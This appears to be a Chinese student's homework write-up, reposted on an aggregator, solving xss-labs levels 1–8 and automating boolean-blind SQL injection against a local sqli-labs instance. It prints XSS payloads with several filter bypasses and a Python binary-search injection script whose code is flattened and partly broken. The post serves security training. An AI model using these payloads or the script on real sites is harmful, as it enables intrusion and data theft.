当前位置: 首页 > news >正文

安全初级作业2

一、作业要求

1、xss-labs 1~8关
2、python实现自动化sql布尔育注代码优化(二分查找)

二、操作过程

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

2、level1

(1)漏洞:当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

(2)解决方式:直接在name=test后面加入xss攻击语句

​<script>alert(1)</script>

3、level2

(1)漏洞:输入框的alue属性未过滤,但<h2>内容被转义

(2)解决方案:闭合value的双引导,利用未过滤的输入点注入脚本

①在搜索框输入​<script>alert()</script>查询不到

②查看源代码

可以看到输入的<script>alert()</script>在<input>标签的value中,需要">闭合,因此要在搜索框中输入

“><script>alert()</script>

4、level3

(1)漏洞:<和>被转义,但单引号未过滤

(2)解决思路

①先在搜索框中输入第二个关卡的代码,发现查询不到

②查看源代码

发现它将闭合的>给实体化了,所以导致语句没有执行成功 。可以采用onfocus事件进行绕过,则在搜索框中输入' οnfοcus='alert() 

'οnfοcus='alert()       //单引号闭合

5、level4

(1)漏洞:双引号闭合属性值

(2)解决思路:与第三关相同,使用onfocus事件实现绕过

①先在搜索框中输入第三个关卡的代码,发现查询不到

②查看源代码

可以采用onfocus事件进行绕过,则在搜索框中输入

1" onclick="alert(1)      //双引号闭合

6、level5

(1)漏洞:onclick和script被替换为o_nclick和scr_ipt

(2)解决思路

①利用之前关卡的代码,发现查询不到

②查看源代码

发现onclick和script被替换为o_nclick和scr_ipt,

③由于onclick和script都用不了,但是通过网页源码发现并没有过滤<>,所以可以用<a href="#">在a标签中,最重要的是href属性,这个属性可以实现一个链接到javascript

"><a href="javascript:alert(1)">点击</a>

 搜索后会跳出来一个点击,点一下就可以过关了!

7、level6

(1)在第五关的基础上,将href替换为hr_ef

(2)解决方案

①利用上一关卡的代码,发现查询不到

②查看源代码

通过源代码发现href被替换成了hr_ef,并且可以看出这个网页并没有限制大小写,所以可以采用转大写绕过。

"><a HREF="javascript:alert(1)">点击</a>

8、level7

(1)漏洞:输入的代码被过滤了

(2)解决思路

① 利用上一关卡的代码,发现查询不到

②查看源代码

③ 利用onfocus事件进行绕过发现on这个关键字被过滤

④通过测试可以看到都过滤了href,onfocus中的on。因为只过滤了on,则可以采用双写绕过。构造oonn,当过滤中间on时然后两边的字母重新重组为on实现绕过操作

"oonnfocus="alert(1)"     //双写绕过

9、level8 

(1)漏洞:href属性自动解码Unicode 

 (2)解决思路

①输入javascript:alert(1)

②查看源代码 

③对javascript:alert(1)进行编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

④将编码输入搜索框后,点击下面的友情连接就完成关卡了

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")

2、输出结果

数据库名长度: 8
数据库名: security

完成

http://www.dtcms.com/a/283105.html

相关文章:

  • HTTP vs HTTPS
  • RabbitMQ工作模式
  • Python类中魔术方法(Magic Methods)完全指南:从入门到精通
  • 分布式系统高可用性设计 - 监控与日志系统
  • 风电箱变、风机、升压站等场景在线监测:助力电力系统稳定可靠运行
  • [论文阅读] 人工智能 + 软件工程 | 用交互式可视化革新软件文档:Helveg工具的设计与改进
  • 21、鸿蒙Harmony Next开发:组件导航(Navigation)
  • 0系统与软件工程-标准体系
  • 【多线程的常见使用场景】
  • 工业自动化中EtherCAT转Profinet网关的速度控制模式配置与优化
  • 破壳萌图鉴(宝可梦) 2.1.2311052226/界面简洁流畅,没有广告
  • Optional:orElse 和 orElseGet 的底层逻辑,决定了它们的本质区别
  • 大模型呼叫系统选型指南:以云蝠智能VoiceAgent为核心的企业升级路径
  • Linux 下安装DM8数据库详细教程
  • Linux下保存Docker镜像文件至本地及启动
  • CSS:transition语法
  • Linux 定时器应用示例(修正版)
  • 闲庭信步使用图像验证平台加速FPGA的开发:第十八课——图像高斯滤波金字塔的实现
  • RCV在电力大数据平台中的集成与标准化建设:推动数据资产价值释放的关键途径
  • 每日钉钉API探索:getAuthCode实现免登授权
  • STM32超声波模块
  • 基于Matlab改进大津法和Gabor滤波的织物缺陷检测系统
  • Java-数构链表
  • 聚合配送与传统配送平台的差异:从运营模式到市场价值
  • XXE漏洞3-通过 XXE 漏洞实现文件读取及端口探测
  • 开源Agent平台Dify源码剖析系列(四)核心模块core/agent之CotAgentRunner
  • SMTPman,发送邮件服务器smtp的功能详解!
  • 统计功效是什么?
  • ST17H36 蓝牙Soc开发(4)—— 外设应用1
  • mac电脑无法阅读runc源码